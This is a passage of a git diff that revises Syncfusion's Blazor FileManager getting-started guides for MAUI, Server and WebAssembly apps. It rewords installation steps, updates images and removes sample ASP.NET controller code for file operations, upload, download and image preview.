+{% endtabs %}
+
+![Blazor File Manager with Image Preview](images/blazor-filemanager-image-preview.webp)
\ No newline at end of file
diff --git a/blazor/file-manager/getting-started-with-maui-app.md b/blazor/file-manager/getting-started-with-maui-app.md
index ab58da8977..e099499dc5 100644
--- a/blazor/file-manager/getting-started-with-maui-app.md
+++ b/blazor/file-manager/getting-started-with-maui-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor FileManager component
 
-This section explains you through the step-by-step process of integrating the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor FileManager component into your Blazor MAUI application using both Visual Studio and Visual Studio Code.
+This section explains you through the step-by-step process of integrating the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor FileManager](https://www.syncfusion.com/blazor-components/blazor-file-manager) component into your Blazor MAUI application using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 {% tabcontents %}
 
@@ -21,22 +21,7 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio
 
-You can create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor FileManager and Themes NuGet in the app
-
-To add **Blazor FileManager**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.FileManager](https://www.nuget.org/packages/Syncfusion.Blazor.FileManager) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.FileManager -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
+Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
 {% endtabcontent %}
 
@@ -48,33 +33,43 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio Code
 
-You can create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-## Install Blazor FileManager and Themes NuGet in the App
-
-To add **Blazor FileManager**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.FileManager](https://www.nuget.org/packages/Syncfusion.Blazor.FileManager) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.FileManager -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
 {% endhighlight %}
-
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-## Add Import Namespaces
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.FileManager` namespace.
+Install [Syncfusion.Blazor.FileManager](https://www.nuget.org/packages/Syncfusion.Blazor.FileManager) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`).
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.FileManager -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
+## Add import namespaces
+
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.FileManager` namespaces.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -85,63 +80,50 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/MauiProgram.cs** file.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-using Microsoft.Extensions.Logging;
+....
 using Syncfusion.Blazor;
 
-namespace MauiBlazorWindow;
+....
 
-    public static class MauiProgram
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-            builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
+
 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-## Add Blazor FileManager component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor FileManager component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor FileManager component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor FileManager component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.FileManager
 
@@ -156,18 +138,18 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor FileManager comp
 {% endhighlight %}
 {% endtabs %}
 
-### How to Run the Sample on Windows
+### How to run the sample on Windows
 
 Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
 
-![Blazor File Manager Component](images/blazor-filemanager-maui-app.png)
+![Blazor File Manager Component](images/blazor-filemanager-maui-app.webp)
 
-### How to Run the Sample on Android
+### How to run the sample on Android
 
-To run the Blazor DataGrid in a Blazor Android MAUI application using the Android emulator, follow these steps:
+To run the Blazor FileManager in a Blazor Android MAUI application using the Android emulator, follow these steps:
 
 Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
 
-N> If you encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
+N> If encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
 
-![Blazor File Manager Component](images/blazor-filemanager-component.png)
\ No newline at end of file
+![Blazor File Manager Component](images/blazor-filemanager-component.webp)
\ No newline at end of file
diff --git a/blazor/file-manager/getting-started-with-server-app.md b/blazor/file-manager/getting-started-with-server-app.md
index 7b194c7a02..689058aec6 100644
--- a/blazor/file-manager/getting-started-with-server-app.md
+++ b/blazor/file-manager/getting-started-with-server-app.md
@@ -176,316 +176,7 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% endhighlight %}
 {% endtabs %}
 
-## Create Models
-
-Create a new folder named `Models` in the server project. Add the necessary model files to this folder for handling file operations. Download the `PhysicalFileProvider.cs` and `Base` folder from this [repository](https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/tree/master/Models) and place them in the Models folder.
-
-## Create a new folder controller
-
-To initialize a local service, create a new folder name with `Controllers` inside the server part of the project. Then, create a new file `FileManagerController` with extension `.cs` inside the `Controllers` folder.
-
-Make sure your controller `FileManagerController.cs` uses the model classes you've created. Import the model namespace at the top of your controller file
-
-File Manager's base functions are available in the below namespace.
-```cshtml
-using Syncfusion.EJ2.FileManager.Base;
-````
-File Manager's operations are available in the below namespace.
-````cshtml
-using Syncfusion.EJ2.FileManager.PhysicalFileProvider;
-````
-
-## Initialize the service in controller
-
-File Manager supports the basic file actions like Read, Delete, Copy, Move, Get Details, Search, Rename, and Create New Folder.
-
-To initialize a local service, create a new folder name with `Controllers` inside the server part of the project. Then, create a new file `FileManagerController` with extension `.cs` inside the `Controllers` folder and add the following code in that file.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-using Microsoft.AspNetCore.Mvc;
-using System;
-using System.Collections.Generic;
-using Microsoft.AspNetCore.Hosting;
-using Microsoft.AspNetCore.Http;
-using Microsoft.AspNetCore.Http.Features;
-//File Manager's base functions are available in the below namespace.
-using Syncfusion.EJ2.FileManager.Base;
-//File Manager's operations are available in the below namespace.
-using Syncfusion.EJ2.FileManager.PhysicalFileProvider;
-using System.IO;
-using System.Linq;
-using System.Threading.Tasks;
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        public PhysicalFileProvider operation;
-        public string basePath;
-        string root = "wwwroot\\Files";
-        [Obsolete]
-        public FileManagerController(IWebHostEnvironment hostingEnvironment)
-        {
-            this.basePath = hostingEnvironment.ContentRootPath;
-            this.operation = new PhysicalFileProvider();
-            this.operation.RootFolder(this.basePath + "\\" + this.root); // It denotes in which files and folders are available.
-        }
-
-        // Processing the File Manager operations.
-        [Route("FileOperations")]
-        public object FileOperations([FromBody] FileManagerDirectoryContent args)
-        {
-            switch (args.Action)
-            {
-                // Add your custom action here.
-                case "read":
-                    // Path - Current path; ShowHiddenItems - Boolean value to show/hide hidden items.
-                    return this.operation.ToCamelCase(this.operation.GetFiles(args.Path, args.ShowHiddenItems));
-                case "delete":
-                    // Path - Current path where the folder to be deleted; Names - Name of the files to be deleted
-                    return this.operation.ToCamelCase(this.operation.Delete(args.Path, args.Names));
-                case "copy":
-                    //  Path - Path from where the file was copied; TargetPath - Path where the file/folder is to be copied; RenameFiles - Files with same name in the copied location that is confirmed for renaming; TargetData - Data of the copied file
-                    return this.operation.ToCamelCase(this.operation.Copy(args.Path, args.TargetPath, args.Names, args.RenameFiles, args.TargetData));
-                case "move":
-                    // Path - Path from where the file was cut; TargetPath - Path where the file/folder is to be moved; RenameFiles - Files with same name in the moved location that is confirmed for renaming; TargetData - Data of the moved file
-                    return this.operation.ToCamelCase(this.operation.Move(args.Path, args.TargetPath, args.Names, args.RenameFiles, args.TargetData));
-                case "details":
-                    // Path - Current path where details of file/folder is requested; Name - Names of the requested folders
-                    return this.operation.ToCamelCase(this.operation.Details(args.Path, args.Names));
-                case "create":
-                    // Path - Current path where the folder is to be created; Name - Name of the new folder
-                    return this.operation.ToCamelCase(this.operation.Create(args.Path, args.Name));
-                case "search":
-                    // Path - Current path where the search is performed; SearchString - String typed in the searchbox; CaseSensitive - Boolean value which specifies whether the search must be casesensitive
-                    return this.operation.ToCamelCase(this.operation.Search(args.Path, args.SearchString, args.ShowHiddenItems, args.CaseSensitive));
-                case "rename":
-                    // Path - Current path of the renamed file; Name - Old file name; NewName - New file name
-                    return this.operation.ToCamelCase(this.operation.Rename(args.Path, args.Name, args.NewName));
-            }
-            return null;
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-To configure and map the controller, open the `~/Program.cs` file of the server part of the application. Add the following code to configure the service for the controller and map the controller after `app.UseRouting()`:
-
-```cshtml
-builder.Services.AddControllers();
-...
-app.UseRouting();
-app.MapControllers();
-```
-
-This will configure and map the controller in your Blazor App.
-
-## Create Web Server App
-
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component in `~/Pages/Home.razor` file.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                             UploadUrl="/api/FileManager/Upload"
-                             DownloadUrl="/api/FileManager/Download"
-                             GetImageUrl="/api/FileManager/GetImage">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-Add your required files and folders under the `wwwroot\Files` directory.
-* In your  project, the `wwwroot` directory is where static files are served from. It is typically found at the root level of your server project.
-* Inside the `wwwroot` directory, create a new folder named `Files`. This will be used to store static files like images, documents, or other resources that you want to serve directly.
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component in your default web browser.
-
-![Blazor File Manager Component](images/blazor-filemanager-component.png)
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/FileManager).
-
-## File download support
-
-To perform the download operation, initialize the [DownloadUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_DownloadUrl) property in a FileManagerAjaxSettings.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                                DownloadUrl="/api/FileManager/Download">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-Initialize the `Download` FileOperation in Controller part with the following code snippet.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        // Processing the Download operation.
-        [Route("Download")]
-        public IActionResult Download(string downloadInput)
-        {
-            var options = new JsonSerializerOptions
-            {
-                PropertyNamingPolicy = JsonNamingPolicy.CamelCase,
-            };
-            FileManagerDirectoryContent args = JsonSerializer.Deserialize<FileManagerDirectoryContent>(downloadInput, options);
-            return operation.Download(args.Path, args.Names, args.Data);
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## File upload support
-
-To perform the upload operation, initialize the [UploadUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_UploadUrl) property in a FileManagerAjaxSettings.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                                UploadUrl="/api/FileManager/Upload">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-Initialize the `Upload` File Operation in Controller part with the following code snippet.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        // Processing the Upload operation.
-        [Route("Upload")]
-        [DisableRequestSizeLimit]
-        public IActionResult Upload(string path, long size, IList<IFormFile> uploadFiles, string action)
-        {
-            try
-            {
-                FileManagerResponse uploadResponse;
-                foreach (var file in uploadFiles)
-                {
-                    var folders = (file.FileName).Split('/');
-                    // checking the folder upload
-                    if (folders.Length > 1)
-                    {
-                        for (var i = 0; i < folders.Length - 1; i++)
-                        {
-                            string newDirectoryPath = Path.Combine(this.basePath + path, folders[i]);
-                            if (Path.GetFullPath(newDirectoryPath) != (Path.GetDirectoryName(newDirectoryPath) + Path.DirectorySeparatorChar + folders[i]))
-                            {
-                                throw new UnauthorizedAccessException("Access denied for Directory-traversal");
-                            }
-                            if (!Directory.Exists(newDirectoryPath))
-                            {
-                                this.operation.ToCamelCase(this.operation.Create(path, folders[i]));
-                            }
-                            path += folders[i] + "/";
-                        }
-                    }
-                }
-                uploadResponse = operation.Upload(path, uploadFiles, action, size, null);
-                if (uploadResponse.Error != null)
-                {
-                    Response.Clear();
-                    Response.ContentType = "application/json; charset=utf-8";
-                    Response.StatusCode = Convert.ToInt32(uploadResponse.Error.Code);
-                    Response.HttpContext.Features.Get<IHttpResponseFeature>().ReasonPhrase = uploadResponse.Error.Message;
-                }
-            }
-            catch (Exception e)
-            {
-                ErrorDetails er = new ErrorDetails();
-                er.Message = e.Message.ToString();
-                er.Code = "417";
-                er.Message = "Access denied for Directory-traversal";
-                Response.Clear();
-                Response.ContentType = "application/json; charset=utf-8";
-                Response.StatusCode = Convert.ToInt32(er.Code);
-                Response.HttpContext.Features.Get<IHttpResponseFeature>().ReasonPhrase = er.Message;
-                return Content("");
-            }
-            return Content("");
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Image preview support
-
-To perform image preview support in the File Manager component, initialize the [GetImageUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_GetImageUrl) property in a FileManagerAjaxSettings.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                                GetImageUrl="/api/FileManager/GetImage">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-Initialize the `GetImage` File Operation in Controller part with the following code snippet.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        // Processing the GetImage operation.
-        [Route("GetImage")]
-        public IActionResult GetImage(FileManagerDirectoryContent args)
-        {
-            return this.operation.GetImage(args.Path, args.Id,false,null, null);
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor File Manager with Image Preview](images/blazor-filemanager-image-preview.png)
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component in the default web browser.
 
 ## See Also
 
diff --git a/blazor/file-manager/getting-started-with-wasm-app.md b/blazor/file-manager/getting-started-with-wasm-app.md
index 23a64b3385..ec3899be85 100644
--- a/blazor/file-manager/getting-started-with-wasm-app.md
+++ b/blazor/file-manager/getting-started-with-wasm-app.md
@@ -163,312 +163,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager com
 {% endhighlight %}
 {% endtabs %}
 
-## Create models
-
-Create a new folder named `Models` in the server project. Add the necessary model files to this folder for handling file operations. Download the `PhysicalFileProvider.cs` and `Base` folder from this [repository](https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/tree/master/Models) and place them in the Models folder.
-
-## Create a new folder controller
-
-To initialize a local service, create a new folder name with `Controllers` inside the server part of the project. Then, create a new file `FileManagerController` with extension `.cs` inside the `Controllers` folder.
-
-Make sure your controller `FileManagerController.cs` uses the model classes you've created. Import the model namespace at the top of your controller file
-
-File Manager's base functions are available in the below namespace.
-
-```cshtml
-
-using Syncfusion.EJ2.FileManager.Base;
-
-```
-
-File Manager's operations are available in the below namespace.
-
-```cshtml
-
-using Syncfusion.EJ2.FileManager.PhysicalFileProvider;
-
-```
-
-## Initialize the service in controller
-
-File Manager supports the basic file actions like Read, Delete, Copy, Move, Get Details, Search, Rename, and Create New Folder.
-
-For standalone Blazor WASM applications, you can use the service from this [link](https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/). For other types of applications like ASP hosted applications, create a new folder name with `Controllers` inside the server part of the project. Then, create a new file `FileManagerController` with extension `.cs` inside the `Controllers` folder and add the following code in that file.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-using Microsoft.AspNetCore.Mvc;
-using System;
-using System.Collections.Generic;
-using Microsoft.AspNetCore.Hosting;
-using Microsoft.AspNetCore.Http;
-using Microsoft.AspNetCore.Http.Features;
-//File Manager's base functions are available in the below namespace.
-using Syncfusion.EJ2.FileManager.Base;
-//File Manager's operations are available in the below namespace.
-using Syncfusion.EJ2.FileManager.PhysicalFileProvider;
-using System.IO;
-using System.Linq;
-using System.Threading.Tasks;
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        public PhysicalFileProvider operation;
-        public string basePath;
-        string root = "wwwroot\\Files";
-        [Obsolete]
-        public FileManagerController(IWebHostEnvironment hostingEnvironment)
-        {
-            this.basePath = hostingEnvironment.ContentRootPath;
-            this.operation = new PhysicalFileProvider();
-            this.operation.RootFolder(this.basePath + "\\" + this.root); // It denotes in which files and folders are available.
-        }
-
-        // Processing the File Manager operations.
-        [Route("FileOperations")]
-        public object FileOperations([FromBody] FileManagerDirectoryContent args)
-        {
-            switch (args.Action)
-            {
-                // Add your custom action here.
-                case "read":
-                    // Path - Current path; ShowHiddenItems - Boolean value to show/hide hidden items.
-                    return this.operation.ToCamelCase(this.operation.GetFiles(args.Path, args.ShowHiddenItems));
-                case "delete":
-                    // Path - Current path where the folder to be deleted; Names - Name of the files to be deleted
-                    return this.operation.ToCamelCase(this.operation.Delete(args.Path, args.Names));
-                case "copy":
-                    //  Path - Path from where the file was copied; TargetPath - Path where the file/folder is to be copied; RenameFiles - Files with same name in the copied location that is confirmed for renaming; TargetData - Data of the copied file
-                    return this.operation.ToCamelCase(this.operation.Copy(args.Path, args.TargetPath, args.Names, args.RenameFiles, args.TargetData));
-                case "move":
-                    // Path - Path from where the file was cut; TargetPath - Path where the file/folder is to be moved; RenameFiles - Files with same name in the moved location that is confirmed for renaming; TargetData - Data of the moved file
-                    return this.operation.ToCamelCase(this.operation.Move(args.Path, args.TargetPath, args.Names, args.RenameFiles, args.TargetData));
-                case "details":
-                    // Path - Current path where details of file/folder is requested; Name - Names of the requested folders
-                    return this.operation.ToCamelCase(this.operation.Details(args.Path, args.Names));
-                case "create":
-                    // Path - Current path where the folder is to be created; Name - Name of the new folder
-                    return this.operation.ToCamelCase(this.operation.Create(args.Path, args.Name));
-                case "search":
-                    // Path - Current path where the search is performed; SearchString - String typed in the searchbox; CaseSensitive - Boolean value which specifies whether the search must be casesensitive
-                    return this.operation.ToCamelCase(this.operation.Search(args.Path, args.SearchString, args.ShowHiddenItems, args.CaseSensitive));
-                case "rename":
-                    // Path - Current path of the renamed file; Name - Old file name; NewName - New file name
-                    return this.operation.ToCamelCase(this.operation.Rename(args.Path, args.Name, args.NewName));
-            }
-            return null;
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Create Blazor WebAssembly App
-
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component in `~/Pages/Index.razor` file.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                             UploadUrl="/api/FileManager/Upload"
-                             DownloadUrl="/api/FileManager/Download"
-                             GetImageUrl="/api/FileManager/GetImage">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-Add your required files and folders under the `wwwroot\Files` directory.
-* In your  project, the `wwwroot` directory is where static files are served from. It is typically found at the root level of your server project.
-* Inside the `wwwroot` directory, create a new folder named `Files`. This will be used to store static files like images, documents, or other resources that you want to serve directly.
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component in your default web browser.
-
-![Blazor File Manager Component](images/blazor-filemanager-component.png)
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/FileManager).
-
-## File download support
-
-To perform the download operation, initialize the [DownloadUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_DownloadUrl) property in a FileManagerAjaxSettings.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
-    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
-                                DownloadUrl="/api/FileManager/Download">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-
-{% endhighlight %}
-{% endtabs %}
-
-Initialize the `Download` FileOperation in Controller part with the following code snippet.
-
-{% tabs %}
-{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
-
-namespace filemanager.Server.Controllers
-{
-    [Route("api/[controller]")]
-    public class FileManagerController : Controller
-    {
-        // Processing the Download operation.
-        [Route("Download")]
-        public IActionResult Download(string downloadInput)
-        {
-            var options = new JsonSerializerOptions
-            {
-                PropertyNamingPolicy = JsonNamingPolicy.CamelCase,
-            };
-            FileManagerDirectoryContent args = JsonSerializer.Deserialize<FileManagerDirectoryContent>(downloadInput, options);
-            return operation.Download(args.Path, args.Names, args.Data);
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## File upload support
-
-To perform the upload operation, initialize the [UploadUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_UploadUrl) property in a FileManagerAjaxSettings.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.FileManager
-
-<SfFileManager TValue="FileManagerDirectoryContent">
